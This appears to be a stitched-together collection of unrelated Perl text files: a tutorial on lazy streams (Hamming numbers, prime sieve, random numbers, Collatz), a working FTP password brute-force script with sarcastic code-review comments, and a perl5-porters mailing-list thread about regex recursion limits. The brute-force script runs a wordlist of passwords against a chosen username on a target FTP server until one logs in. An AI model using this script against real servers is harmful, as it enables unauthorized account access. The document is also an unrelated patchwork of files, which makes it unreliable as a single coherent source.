278,628,139,008, think how much longer you'd have to wait for it to
finally find the 3,000 number in the sequence, which is 278,942,752,080.
It can be surprisingly difficult to solve this problem efficiently with
conventional programming techniques. But it turns out to be easy with
the techniques in this article.
Streams
A stream is like the stream that comes out of a garden hose, except
that instead of water coming out, data items come out, one after the
other. The stream is like a source for data. Whenever you need
another data item, you can pull one out of the stream, which will keep
producing data on demand forever, or until it runs out. The key point
is that unlike an array, which has all the data items stored away
somewhere, the stream computes the data just as they're needed, at the
moment your program asks for them, so that it never takes any more
space or time than necessary. You can't have an array of all the odd
integers, because it would have to be infinitely long and consume an
infinite amount of memory. But you can have a stream of all the odd
integers, and pull as many odd integers out of it as you need, because
it only computes the odd numbers one at a time as you ask for them.
We'll return to Hamming's problem a little later, when we've seen
streams in more detail.
Now, unlike a Perl list, a stream is more like a linked list, which
means that it is made of `nodes'. Each node has two parts: The
/head/, which contains a data item at the front of the stream, and the
/tail/, which points to the next node in the stream. In Perl, we'll
implement this as a hash with two members. If $node is such a hash,
then $node{h} will be the head, and $node{t} will be the tail. The
tail will usually be a reference to another such node. A stream will
be a long linked list of these nodes, like this:
head tail head tail head tail
+-----+-----+ +-----+-----+ +-----+-----+
| | | | | | | | |
| foo | *------->| 3 | *------->| bar | *------> . . .
| | | | | | | | |
+-----+-----+ +-----+-----+ +-----+-----+
The stream ('foo', 3, 'bar', ...).
Now we still have the problem of how to have an infinite stream,
because clearly we can't construct an infinite number of these nodes.
But here's the secret: a stream node might not have a tail---the tail
might not have been computed yet. If a stream doesn't have a tail, it
has a /promise/ instead. The promise is a promise from the program to
you. The program promises to compute the next node if you ever need
the data item that would be in the head of the next node:
____________
+-----+-----+ +-----+-----+ +-----+-----+ / /\
| | | | | | | | | |I'll do it |/
| foo | *------->| 3 | *------->| bar | *------>|when and if|
| | | | | | | | | |you need it|
+-----+-----+ +-----+-----+ +-----+-----+ | |
| Love, Perl|
_|__________ |
\___________\/
The stream ('foo', 3, 'bar', ...), no details obscured this time.
How can we program a promise? Perl doesn't have promises, right? But
it has something like them. Here's how to make a promise to compute
an expression:
$promise = sub { EXPRESSION };
Perl doesn't compute the value of the expression right away; instead
it constructs an anonymous function which will compute the expression
and return the value when we call the function:
$value = &$promise; # Evaluate EXPRESSION
That's just what we want. When we want to promise to compute
something without computing it, we'll just wrap it up in an anonymous
function, and then when we want to collect on the promise, we'll call
the function.
How can we tell when a value is a promise? In our simple examples,
we'll just look to see if it's a reference to a function:
if (ref $something eq CODE) { # It's a promise... }
In a real project, we might do something a little more elaborate, like
inventing a `Promise' package with Promise objects, but in this
article, we'll just stick with plain vanilla CODE refs.
Here's a simple function to construct a stream node. It expects two
arguments, a head and a tail. The tail argument should either be
another stream, or it should be a promise to compute one. It then
takes the head and the tail, puts them into an anonymous hash with `h'
and `t' members, and blesses the hash into the `Stream' package:
package Stream;
sub new {
my ($package, $head, $tail) = @_;
bless { h => $head, t => $tail } => $package;
}
The `head' method to return the head of a stream is easy to implement
now. We just return the `h' member from the hash:
sub head { $_[0]{h} }
The `tail' method for returning the tail of a stream is a little more
complicated because it has to deal with two possibilities: If the tail
of the stream is another stream , `tail' can return it right away.
But if the tail is a promise, then the `tail' function must collect on
the promise and compute the real tail before it can return it.
sub tail {
my $tail = $_[0]{t};
if (ref $tail eq CODE) { # It's a promise
$_[0]{t} = &$tail(); # Collect on the promise
}
$_[0]{t};
}
We should also have a notation for an empty stream, or for a stream
that has run out of data, just in case we want finite streams as well
as infinite ones. If a stream is empty, we'll represent it with a
node that is missing the usual `h' and `t' members, and which instead
has an `e' member, to show that it's empty. Here's a function to
construct an empty stream:
sub empty {
my $pack = ref(shift()) || Stream;
bless {e => 'I am empty.'} => $pack;
}
And here's a function that tells you whether a stream is empty or not:
sub is_empty { exists $_[0]{e} }
These functions, and all the other functions in this article, are
available in http://www.plover.com/~mjd/perl/Stream.pm.
Let's see an example of how to use this. Here is a function that
constructs an interesting stream: You give it a reference to a
function, $f, and a number, $n, and it constructs the stream of all
numbers of the form f(n), f(n+1), f(n+2), ...
sub tabulate {
my $f = shift;
my $n = shift;
Stream->new(&$f($n),
sub { &tabulate($f, $n+1) }
)
}
How does it work? The first element of the stream is just f(n), which
in Perl notation is &$f($n).
Rather than computing all the rest of the elements of the table (there
are an infinite number of them, after all) this function promises to
compute more if we want them. The promise is the
sub { &tabulate($f, $n+1) }
part; it's a function, which, if invoked, will call `tabulate' again, to
compute all the values from $n+1 on up. Of course, it won't really
compute *all* the values from $n+1 on up; it'll just compute f(n+1), and
give back a promise to compute f(n+2) and the rest if they're needed.
Now we can do an example:
sub square { $_[0] * $[0] }
$squares = &tabulate( \&square, 1);
The `show' utility, supplied in Streams.pm, prints out the first few
elements of a stream---the first ten, if you don't say otherwise:
$squares->show;
1 4 9 16 25 36 49 64 81 100
Let's add a little debugging to `tabulate' so we can see better what's
going on. This version of `tabulate' is the same as the one above,
except that it prints an extra line of output just before it calls the
function `f':
sub tabulate {
my $f = shift;
my $n = shift;
print STDERR "-- Computing f($n)\n"; # For debugging
Stream->new(&$f($n),
sub { &tabulate($f, $n+1) }
)
}
$squares = &tabulate( \&square, 1);
-- Computing f(1)
$squares->show(5);
1 -- Computing f(2)
4 -- Computing f(3)
9 -- Computing f(4)
16 -- Computing f(5)
25 -- Computing f(6)
$squares->show(6);
1 4 9 16 25 36 -- Computing f(7)
$squares->show(5);
1 4 9 16 25
Something interesting happened when we did show(6) up there---the
stream object only called the `tabulate' function once, to compute the
square of 7. The other 6 elements had already been computed and
saved, so it didn't need to compute them again. Similarly, the second
time we did show(5), the program didn't need to call `tabulate' at
all; it had already computed and saved the first five squares and it
just printed them out. Saving computed function values in this way is
called `memoization'.
Someday, we could come along and do
$squares->show(1_000_000_000);
and the stream would compute 999,999,993 squares for us, but until we
ask for them, it won't, and that saves space and time. That's called
`lazy evaluation'.
To solve Hamming's problem, we need only one more tool, called `merge'.
`merge' is a function which takes two streams of numbers in ascending
order and merges them together into one stream of numbers in ascending
order, eliminating duplicates. For example, merging
1 3 5 7 9 11 13 15 17 ...
with
1 4 9 16 25 36 ...
yields
1 3 4 5 7 9 11 13 15 16 17 19 ...
sub merge {
my $s1 = shift;
my $s2 = shift;
return $s2 if $s1->is_empty;
return $s1 if $s2->is_empty;
my $h1 = $s1->head;
my $h2 = $s2->head;
if ($h1 > $h2) {
Stream->new($h2, sub { &merge($s1, $s2->tail) });
} elsif ($h1 < $h2) {
Stream->new($h1, sub { &merge($s1->tail, $s2) });
} else { # heads are equal
Stream->new($h1, sub { &merge($s1->tail, $s2->tail) });
}
}
HAMMING'S PROBLEM
Now we have enough tools to solve Hamming's problem! Here's how
we'll do it. We're going to construct a stream which has the numbers
we want in it. How can we do that?
We know that the first element of the Hamming sequence is 1.
That's easy. The rest of the sequence is made up of multiples of 2,
multiples of 3, and multiples of 5.
Let's think about the multiples of 2 for a minute. Here's the Hamming
sequence, with multiples of 2 marked with *'s:
* * * * * * * *
1 2 3 4 5 6 8 9 10 12 15 16 18 ...
Now here's the Hamming sequence again, with every element multiplied
by 2:
2 4 6 8 10 12 16 18 20 24 30 32 36 ...
Notice how the second row of numbers contains all of the starred
numbers from the first row---If a number is even, and it's a Hamming
number, then it's two times some other Hamming number. That means
that if we had the Hamming sequence hanging around, we could multiple
every number in it by 2, and that would give us all the even Hamming
numbers. We could do the same thing with 3 and 5 instead of 2. By
multiplying the Hamming sequence by 2, by 3, and by 5, and merging
those three sequences together, we'd get a sequence that contained all
the Hamming numbers that were multiples of 2, 3, and 5. That's all of
them, except for 1, which we could just tack on the front. This is
how we'll solve our problem.
Let's build a function that takes a stream and multiplies every
element in it by a constant:
# Multiply every number in a stream `$self' by a constant factor `$n'
sub scale {
my $self = shift;
my $n = shift;
return &empty if $self->is_empty;
Stream->new($self->head * $n,
sub { $self->tail->scale($n) });
}
Here's the solution to the Hamming sequence problem: We use `scale'
to scale the Hamming sequence by 2, by 3, and by 5, we merge those
three streams together, and we tack a 1 on the front, and the result
is the Hamming sequence:
# Construct the stream of Hamming's numbers.
sub hamming {
1 my $href = \1; # Dummy reference
2 my $hamming = Stream->new(
3 1,
4 sub { &merge($$href->scale(2),
5 &merge($$href->scale(3),
6 $$href->scale(5))) });
7 $href = \$hamming; # Reference is no longer a dummy
8 $hamming;
}
Line 1 creates a reference to the scalar `1'. We're not interested in
this `1', but we need a reference variable around to use to refer to
$hamming so that we can include it in the calls to `merge'. After
we've defined the anonymous subroutine (lines 4--6) which uses
`$href', we pull a switcheroo and make $href refer to $hamming (line
7) instead of to the irrelevant `1' value.
This function works, and it's efficient:
&hamming()->show(20);
1 2 3 4 5 6 8 9 10 12 15 16 18 20 24 25 30 32 36 40
It only takes a few minutes to compute three thousand Hamming numbers,
even on my dinky P75 computer.
We could make this more efficient by fixing up `merge' to merge three
streams instead of two, but that's left as an exercise for Our Most
Assiduous Reader.
DATA FLOW PROGRAMMING
The great thing about streams is that you can treat them as sources of
data, and you can compute with these sources by merging and filtering
data streams; these is called a `data flow' paradigm. If you're a
Unix programmer, you're probably already familiar with the data flow
paradigm, because programming with pipelines in the shell is the same
thing.
Here's an example of a function, `filter', that accepts one stream as
an argument, filters out all the elements from it that we don't want,
and returns a stream of the elements we do want---it does for streams
what the Unix `grep' program does for pipes, or what the Perl `grep'
function does for lists.
`filter's second argument is a `predicate' function that returns true
or false depending on whether it's applied to an argument we do or
don't want:
# Return a stream on only the interesting elements of $arg.
sub filter {
my $stream = shift;
# Second argument is a predicate function that returns true
# only when passed an interesting element of $stream.
my $predicate = shift;
# Look for next interesting element
while (! $stream->is_empty && ! &$predicate($stream->head)) {
$stream = $stream->tail;
}
# If we ran out of stream, return the empty stream.
return &empty if $stream->is_empty;
# Construct new stream with the interesting element at its head
# and the rest of the stream, appropriately filtered,
# at its tail.
Stream->new($stream->head,
sub { $stream->tail->filter($predicate) }
);
}
Let's find perfect squares that are multiples of 5:
sub is_multiple_of_5 { $_[0] % 5 == 0 }
$squares->filter(\&is_multiple_of_5)->show(6);
25 100 225 400 625 900
You could do all sorts of clever things with this:
* If $input were a stream whose elements were the lines of input to
your program, you could construct
$input->filter(sub {$_[0] =~ /PATTERN/}),
the stream of input lines that matched a certain pattern.
* If $queens were a stream that produced arrangements of eight
queens on a chessboard, you could build a filter that checked each
arrangement to see if any queens attacked one another, and then
you'd have a stream of solutions to the famous eight-queens
problem. If you wanted only one solution, you could ask for
->show(1), and your program would stop as soon as it had found a
single solution; if you wanted all the solutions, you could ask
for ->show(ALL).
Here's a particularly clever application: We can use filtering to
compute a stream of prime numbers:
sub prime_filter {
my $s = shift;
my $h = $s->head;
Stream->new($h, sub { $s->tail
->filter(sub { $_[0] % $h })
->prime_filter()
});
}
To use this, you apply it to the stream of integers
starting at 2:
2 3 4 5 6 7 8 9 ...
The first thing it does is to pull the 2 off the front and returns
that, but it also filters the tail of the stream and throws away all
the elements that are divisible by 2. Then, it gets the next
available element, that's 3, and returns that, and filters the rest of
the stream (which was already missing the even numbers) to throw away
the elements that are divisible by 3. Then it pulls the next element
off the front, that's 5... and so on.
If we're going to have fun with this, we need to start it off with
that stream of numbers that begins at 2:
$iota2 = &tabulate(sub {$_[0]}, 2);
$iota2->show;
2 3 4 5 6 7 8 9 10 11
$primes = $iota2->prime_filter
$primes->show;
2 3 5 7 11 13 17 19 23 29
This isn't the best algorithm for computing primes, but it is the
oldest---it's called the Sieve of Eratosthenes and it was invented about
2,300 years ago.
Exercise for mathematically inclined readers: What's interesting
about this stream:
&tabulate(sub {$_[0] * 3 + 1}, 1)->prime_filter
There are a very few basic tools that we need to make good use of
streams. `filter' was one; it filters uninteresting elements out of a
stream. Similarly, `transform' takes one stream and turns it into
another. If you think of `filter' as a stream version of Perl's
`grep' function, you should think of `transform' as the stream version
of Perl's `map' function:
sub transform {
my $self = shift;
return &empty if $self->is_empty;
my $map_function = shift;
Stream->new(&$map_function($self->head),
sub { $self->tail->transform($map_function) }
);
}
If we'd known about `transform' when we wrote `hamming' above, we would
never have built a separate `scale' function; instead of $s->scale(2)
we might have written $s->transform(sub { $_[0] * 2 }).
$squares->transform(sub { $_[0] * 2 })->show(5)
2 8 18 32 50
We'll see a more useful use of this a little further down.
Here are a couple of very Perlish streams, presented without discussion:
# Stream of key-value pairs in a hash
sub eachpair {
my $hr = shift;
my @pair = each %$hr;
if (@pair) {
Stream->new([@pair], sub {&eachpair($hr)});
} else { # There aren't any more
∅
}
}
# Stream of input lines from a filehandle
sub input {
my $fh = shift;
my $line = <$fh>;
if ($line eq '') {
∅
} else {
Stream->new($line, sub {&input($fh)});
}
}
# Get first 3 lines of standard input that contain `hello'
@hellos = &input(STDIN)->filter(sub {$_[0] =~ /hello/i})->take(3);
`iterate' takes a function and applies it to an argument, then applies
the function to the result, then the the new result, and so on:
# compute n, f(n), f(f(n)), f(f(f(n))), ...
sub iterate {
my $f = shift;
my $n = shift;
Stream->new($n, sub { &iterate($f, &$f($n)) });
}
One use for `iterate' is to build a stream of pseudo-random numbers:
# This is the RNG from the ANSI C standard
sub next_rand { int(($_[0] * 1103515245 + 12345) / 65536) % 32768 }
sub rand {
my $seed = shift;
&iterate(\&next_rand, &next_rand($seed));
}
&rand(1)->show;
16838 14666 10953 11665 7451 26316 27974 27550 31532 5572
&rand(1)->show;
16838 14666 10953 11665 7451 26316 27974 27550 31532 5572
&rand(time)->show
28034 22040 18672 28664 13341 15205 10064 17387 18320 32588
&rand(time)->show
13922 629 7230 7835 4162 23047 1022 5549 14194 25896
Some people in comp.lang.perl.misc pointed out that Perl's built-in
random number generator doesn't have a good interface, because it
should be seeded once, but there's no way for two modules written by
different authors to agree on which one should provide the seed.
Also, two or more independent modules drawing random numbers from the
same source may reduce the randomness of the numbers that each of them
gets. But with random numbers from streams, you can manufacture as
many independent random number generators as you want, and each part
of your program can have its own, and use it without interfering with
the random numbers generated by other parts of your program.
Suppose you want random numbers between 1 and 10 only?
Just use `transform':
$rand = &rand(time)->transform(sub {$_[0] % 10 + 1});
$rand->show(20);
1 5 8 2 8 10 4 7 3 10 3 6 3 8 8 9 7 7 8 8
Of course, if we do $rand->show(20) again, we'll get exactly the same
numbers. There are an infinite number of random numbers in $rand, but
the first 20 are always the same. We can get to some fresh elements
with `drop':
$rand = $rand->drop(10);
This is such a common operation, that we have a shorthand for it:
$rand->discard(10);
We can also use `iterate' to investigate the `hailstone numbers',
which star in a famous unsolved mathematical problem, the `Collatz
conjecture'. The hailstone question is this: Start with any number,
say `n'. If n is odd, multiply it by 3 and add 1; if it's even,
divide it by 2. Repeat forever. Depending on where you start, one of
three things will happen:
1. You will eventually fall into the loop 4, 2, 1, 4, 2, 1, ...
2. You will eventually fall into some other loop.
3. The numbers will never loop; they will increase without
bound forever.
The unsolved question is: Are there any numbers that *don't* fall
into the 4-2-1 loop?
# Next number in hailstone sequence
sub next_hail {
my $n = shift;
($n % 2 == 0) ? $n/2 : 3*$n + 1;
}
# Hailstone sequence starting with $n
sub hailstones {
my $n = shift;
&iterate(\&next_hail, $n);
}
&hailstones(15)->show(23);
15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1 4 2 1 4 2
`iterate_chop' takes the infinite stream produced by `iterate', and
chops off the tail before the sequence starts to repeat itself.
&hailstones(15)->iterate_chop->show(ALL);
15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2
By counting the length of the resulting stream, we can see how long it
took the hailstone sequence to start repeating:
print &hailstones(15)->iterate_chop->length;
17
Of course, you need to be careful not to ask for the length of an
infinite stream!
Clearly, you could solve these same problems without streams, but
oftentimes it's simpler to express your problem in terms of filtering
and merging of data streams, as it was with Hamming's problem. With
streams, you get a convenient notation for powerful data flow ideas,
and you can apply your experience in programming Unix shell pipelines.
OTHER DIRECTIONS
The implementation of streams in Stream.pm is wasteful of space and
time, because it uses an entire two-element hash to store each element
of the stream, and because finding the n'th element of a stream
requires following a chain of n references. A better implementation
would cache all the memoized stream elements in a single array where
they could be accessed conveniently. Our Most assiduous Reader might
like to construct such an implementation.
A better programming interface for streams would be to tie the
`Stream' package to a list with the `tie' function, so that the stream
could be treated like a regular Perl array. Unfortunately, as the man
page says:
WARNING: Tied arrays are incomplete.
References:
_ML for the Working Programmer_, L.C. Paulson, Cambridge University
Press, 1991, pp. 166--185.
_Structure and Interpretation of Computer Programs_, Harold Abelson and
Gerald Jay Sussman, MIT Press, 1985, pp. 242--286.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3768 2007-02-26 18:12 laugh/napta.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> By golly, if people aren't burying toxic wastes or testing nuclear weapons,
they're throwing trash everywhere!
#!/usr/bin/perl
#
# Bollocks to the bollocks
# FTP brute force tool
# Loads a password file and attacks a selected username until
# sucessful login.
#
# DISCLAIMER:
# This program was written for educational use only (haha!)
# I don't care what you do with it, but I'm not responsible for any trouble
# you get yourself into as a result of using this.
#
# Depends on:
# - Tie::File
#
# TODO:
# - Remove the need for Tie::File to make more portable.
#
# Disclaimers suck
# Tie::File is core.
# Also, it is a lightweight module.
# Also, don't give such a shit about what is portable and what isn't,
# one can't always reinvent the wheel (and do so weakly!)
use Socket;
use Tie::File;
# strict, warnings, you know the deal
$sucess = 0;
$i = 0;
$pass_file = @ARGV[2];
$hostname = @ARGV[0];
$port = 21;
@passfile;
$username = @ARGV[1];
# my ($hostname, $username, $pass_file) = @ARGV;
# my ($success, $port, $i, @passfile) = (0,21,0);
usage(); # Check argvs
load_passfile(); # Load passwords from text file
display_status();
while ($i < $array_size && $sucess < 1) { # Main loop
$NETFD = &connect($hostname, $port);
# Prototype for the death, no?
sysread $NETFD, $message,100 or
die "Cannot read socket: $!\n";
# sysread, the ultimate in advanced socket usage
$code = substr($message, 0, 3);
if(($code) eq "220") {
# if ($code == 220) {
send($NETFD, "USER $username\n",0);
sysread $NETFD, $message,100 or
die "Cannot read socket: $!\n";
send($NETFD, "PASS @passfile[$i]\n",0);
# rookie, you want $passfile[$i]
print "Trying pass: @passfile[$i] ...\n";
}
else {
print $message;
die "No response from FTP server!\n";
}
# This could be a lot cleaner, put the error in its own if and run the rest without
sysread $NETFD, $message,100 or
die "Cannot read socket: $!\n";
$code = substr($message, 0, 3);
if (($code) eq "230") { # Whoohoo we got a login!
send($NETFD, "QUIT\n",0);
sysread $NETFD, $message,100 or
die "Cannot read socket: $!\n";
close $NETFD;
print STDOUT " *** ! LOGIN SUCESSFUL ! ***\n";
print STDOUT "Username: $username\n";
print STDOUT "Password: @passfile[$i]\n";
$sucess = "1";
# $success = 1;
}
else { # Bad login :(
$i++;
}
# ha. lamer.
}
#
## Create the socket
#
sub connect {
my ($host, $port, $server, $pt,$pts, $proto, $servaddr);
$host = $hostname;
# STUPID FUCK
$pt = "21";
# STUPID FUCK
$server = gethostbyname($host) or
die "gethostbyname: cannot locate host: $!\n";
$pts = getservbyport($pt, 'tcp') or
die "getservbyname: cannot get port: $!\n";
$proto = getprotobyname('tcp') or
die " : $!";
$servaddr = sockaddr_in($pt, $server);
socket(CONNFD, PF_INET, SOCK_STREAM, $proto);
connect(CONNFD, $servaddr) or
die "connect: $!\n";
return CONNFD;
}
#
## Load password file into array
#
sub load_passfile { # Load password file
tie @passfile, 'Tie::File', $pass_file;
$array_size = @passfile;
return $array_size;
# return scalar @passfile;
}
#
## Display output
#
sub display_status {
print "Hostname: $hostname\n";
print "Username: $username\n";
print "Number of passwords loded: $array_size\n";
}
sub usage {
$numArgs = $#ARGV + 1;
# my $numArgs = scalar @ARGV;
# and, why bother?
if (($numArgs) < 3) {
print "Perl FTP brute force tool\n";
print "Written by someone\n";
# no need to take credit for this piece of shit, Napta
print "Usage: ./bruteforce [hostname] [username] [wordlist]\n";
exit;
}
}
# Seriously, what is this shit? You can pass parameters to a function sometimes,
# but not always?
# You code like you want to get shot.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 28681 2007-02-26 18:12 school/p5p.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 Abigail Feb 14
2 Demerphq Feb 14
3 Abigail Feb 14
4 Abigail Feb 14
5 Demerphq Feb 14
6 H.Merijn Brand Feb 14
7 Rafael Garcia-Suarez Feb 14
8 Rafael Garcia-Suarez Feb 14
9 Yitzchak Scott-Thoennes Feb 14
10 Demerphq Feb 14
11 Paul Johnson Feb 14
12 Abigail Feb 14
13 Tels Feb 14
14 Demerphq Feb 14
15 [email protected] Feb 14
16 Demerphq Feb 15
17 Demerphq Feb 15
18 Robin Houston Feb 15
19 Nicholas Clark Feb 15
20 Demerphq Feb 15
21 Robin Houston Feb 15
22 [email protected] Feb 15
1 Abigail Feb 14
In bleadperl, there's a compiled in limit of 50 nested recursion
calls. If you exceed the limit, your program dies.
I think this limit is too low. I took the grammar for email addresses
from RFC2822 and turned it into a regular expression (see below).
Matching '[email protected]' against the regexp engine exceeds the
limit of 50 nested recursion calls. Increasing the limit to 500 makes
the match succeed.
No doubt the regexp could have been written in such a way that the
limit isn't reached. But the regexp was constructed fairly mechanically
from the BNF.
Regardless of the actualy limit, I think dying is quite harsh.
Therefore, I propose three things:
1) Up the default limit of 50.
2) Allow a Configure option to set the limit to something else
than the default.
3) If the recursion limit is exceeded, fail the match and throw
a *warning*. Don't die.
Abigail
#!/opt/perl/current/bin/perl
use strict;
use warnings;
no warnings 'syntax';
my $email_address = qr {
(?(DEFINE)
(?<address> (?&mailbox) | (?&group))
(?<mailbox> (?&name_addr) | (?&addr_spec))
(?<name_addr> (?&display_name)? (?&angle_addr))
(?<angle_addr> (?&CFWS)? < (?&addr_spec) > (?&CFWS)?)
(?<group> (?&display_name) : (?:(?&mailbox_list) | (?&CFWS))? ;
(?&CFWS)?)
(?<display_name> (?&phrase))
(?<mailbox_list> (?&mailbox) (?: , (?&mailbox))*)
(?<address_list> (?&address) (?: , (?&address))*)
(?<addr_spec> (?&local_part) \@ (?&domain))
(?<local_part> (?&dot_atom) | (?"ed_string))
(?<domain> (?&dot_atom) | (?&domain_literal))
(?<domain_literal> (?&CFWS)? \[ (?: (?&FWS)? dcontent)* (?&FWS)?
\] (?&CFWS)?)
(?<dcontent> (?&dtext) | (?"ed_pair))
(?<dtext> (?&NO_WS_CTL) | [\x21-\x5a\x5e-\x7e])
(?<atext> (?&ALPHA) | (?&DIGIT) | [!#\$%&'*+-/=?^_`{|}~])
(?<atom> (?&CFWS)? (?&atext)+ (?&CFWS)?)
(?<dot_atom> (?&CFWS)? (?&dot_atom_text) (?&CFWS)?)
(?<dot_atom_text> (?&atext)+ (?: \. (?&atext)+)*)
(?<text> [\x01-\x09\x0b\x0c\x0e-\x7f])
(?<quoted_pair> \\ (?&text))
(?<qtext> (?&NO_WS_CTL) | [\x21\x23-\x5b\x5d-\x7e])
(?<qcontent> (?&qtext) | (?"ed_pair))
(?<quoted_string> (?&CFWS)? (?&DQUOTE) (?:(?&FWS)? (?&qcontent))*
(?&FWS)? (?&DQUOTE) (?&CFWS)?)
(?<word> (?&atom) | (?"ed_string))
(?<phrase> (?&word)+)
# Folding white space
(?<FWS> (?: (?&WSP)* (?&CRLF))? (?&WSP)+)
(?<ctext> (?&NO_WS_CTL) | [\x21-\x27\x2a-\x5b\x5d-\x7e])
(?<ccontent> (?&ctext) | (?"ed_pair) | (?&comment))
(?<comment> \( (?: (?&FWS)? (?&ccontent))* (?&FWS)? \) )
(?<CFWS> (?: (?&FWS)? (?&comment))*
(?: (?:(?&FWS)? (?&comment)) | (?&FWS)))
# No whitespace control
(?<NO_WS_CTL> [\x01-\x08\x0b\x0c\x0e-\x1f\x7f])
(?<ALPHA> [A-Za-z])
(?<DIGIT> [0-9])
(?<CRLF> \x0d \x0a)
(?<DQUOTE> ")
(?<WSP> [\x20\x09])
)
(?&address)
}x;
foreach (<DATA>) {
chomp;
print qq ["$_" is ], /^$email_address$/ ? "" : "not ",
"a valid address.\n";
}
__DATA__
[email protected]
application_pgp-signature_part
1K Download
Reply Reply to author Forward Rate this post:
2. Demerphq View profile
More options Feb 14, 12:31 pm
On 2/14/07, Abigail <[email protected]> wrote:
> In bleadperl, there's a compiled in limit of 50 nested recursion
> calls. If you exceed the limit, your program dies.
This is not strictly correct, the restriction is that 50 nested
recursion calls /without consuming data/ will result in a die.
- Show quoted text -
Im happy with all three of these.
I was just worried about infinite recursion and punted. If you think
the behaviour is suboptimal then we should change it.
What should the default be you think? 500? 512?
I leave the configure option up to Tux I guess. (actually there are a
few other regex related defines that maybe should be handled by
Configure as well).
cheers,
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
Reply Reply to author Forward Rate this post:
3. Abigail View profile
More options Feb 14, 12:37 pm
On Wed, Feb 14, 2007 at 06:31:10PM +0100, demerphq wrote:
> On 2/14/07, Abigail <[email protected]> wrote:
> >In bleadperl, there's a compiled in limit of 50 nested recursion
> >calls. If you exceed the limit, your program dies.
> This is not strictly correct, the restriction is that 50 nested
> recursion calls /without consuming data/ will result in a die.
Yes, that makes sense.
- Show quoted text -
I don't know (yet?). Perhaps we should go for 512 now and have people
play with it (I will). Only if people play with it we will know whether
512 is enough.
Abigail
application_pgp-signature_part
1K Download
Reply Reply to author Forward Rate this post:
4. Abigail View profile
More options Feb 14, 12:47 pm
- Show quoted text -
That would be very nice as that would allow people to increase
the recursion limit for some expressions while keeping the default
for others.
Perhaps it would even be possible to allow $^REG_MAX_RECURSE = 0
which will turn the check off entirely.
Hmmm.
/(?{ $^REG_MAX_RECURSE = 1000 })
... Pattern that can recurse heavily ... /
Abigail
application_pgp-signature_part
1K Download
Reply Reply to author Forward Rate this post:
5. Demerphq View profile
More options Feb 14, 12:40 pm
On 2/14/07, Abigail <[email protected]> wrote:
- Show quoted text -
Maybe we could make it a magic var. $^REG_MAX_RECURSE or something...
Then people wouldnt need to rebuild to work around the problem.
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
Reply Reply to author Forward Rate this post:
6. H.Merijn Brand View profile
More options Feb 14, 1:47 pm
- Show quoted text -
IMHO making it Configure-able is *BAD*.
That would mean that your module, carefully tested on all your architectures
and OS's - that of course all have a higher than default limit - will
suddenly start to crash on target systems that use the default.
I would *really* prefer something settable at runtime.
> I leave the configure option up to Tux I guess. (actually there are a
> few other regex related defines that maybe should be handled by
> Configure as well).
--
H.Merijn Brand Amsterdam Perl Mongers (http://amsterdam.pm.org/)
using & porting perl 5.6.2, 5.8.x, 5.9.x on HP-UX 10.20, 11.00, 11.11,
& 11.23, SuSE 10.0 & 10.2, AIX 4.3 & 5.2, and Cygwin. http://qa.perl.org
http://mirrors.develooper.com/hpux/ http://www.test-smoke.org
http://www.goldmark.org/jeff/stupid-disclaimers/
Reply Reply to author Forward Rate this post:
7. Rafael Garcia-Suarez View profile
More options Feb 14, 12:31 pm
On 14/02/07, Abigail <[email protected]> wrote:
- Show quoted text -
I think that's reasonable.
> 2) Allow a Configure option to set the limit to something else
> than the default.
Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 :
Change 30293 on 2007/02/14 by rgs@benny
Allow to override MAX_RECURSE_EVAL_NOCHANGE_DEPTH,
introduced in change 28939 (this should be documented)
> 3) If the recursion limit is exceeded, fail the match and throw
> a *warning*. Don't die.
A warning ? And risking a segfault ?
Reply Reply to author Forward Rate this post:
8. Rafael Garcia-Suarez View profile
More options Feb 14, 12:35 pm
I wrote:
> > 3) If the recursion limit is exceeded, fail the match and throw
> > a *warning*. Don't die.
> A warning ? And risking a segfault ?
Excuse me, I'm blind. Yes, I completely agree with 3 too.
Reply Reply to author Forward Rate this post:
9. Yitzchak Scott-Thoennes View profile
More options Feb 14, 1:19 pm
Rafael Garcia-Suarez <rgarciasuarez <at> gmail.com> writes:
> On 14/02/07, Abigail <abigail <at> abigail.be> wrote:
> > 2) Allow a Configure option to set the limit to something else
> > than the default.
> Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 :
Shouldn't that have REGEX somewhere in the name?
> > 3) If the recursion limit is exceeded, fail the match and throw
> > a *warning*. Don't die.
But you don't know whether the string actually matches the regex or not.
To fail the match would be lying.
--
I'm looking for work: http://perlmonks.org/?node=ysth#looking
Reply Reply to author Forward Rate this post:
10. Demerphq View profile
More options Feb 14, 3:28 pm
On 2/14/07, Yitzchak Scott-Thoennes <[email protected]> wrote:
> > On 14/02/07, Abigail <abigail <at> abigail.be> wrote:
> > > 3) If the recursion limit is exceeded, fail the match and throw
> > > a *warning*. Don't die.
> But you don't know whether the string actually matches the regex or not.
> To fail the match would be lying.
I think I have to retract my earlier postion, I think you are right
here. Failing would be more wrong than dieing.
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
11. Paul Johnson
May I present a dissenting opinion?
I can imagine this leading to portability problems where a regex "works" on
one perl and doesn't on another. I would prefer to have a higher limit, if
this one might be hit by a reasonable regex. At the least, I would imagine
that this parameter should be output as part of perl -V.
Making it settable at runtime is another option of course.
What is the problem with having it set to a very large value? Memory? Stack?
Time? Something else?
But then, I'd also like to increase the standard subroutine recursion limit,
since it seems that two of my three CPAN modules seem to hit it fairly
regularly, as has recently been noted.
And hardly anyone uses the other module ;-)
PS On rereading I note that Rafael seems to be saying that upping the default
limit is reasonable, where I had originally read that as saying the current
default limit was reasonable.
--
Paul Johnson - [email protected]
http://www.pjcj.net
12. Abigail
That is true, but we already have that. A program that works on a version
of Perl with threads enabled may not work on a version of Perl without.
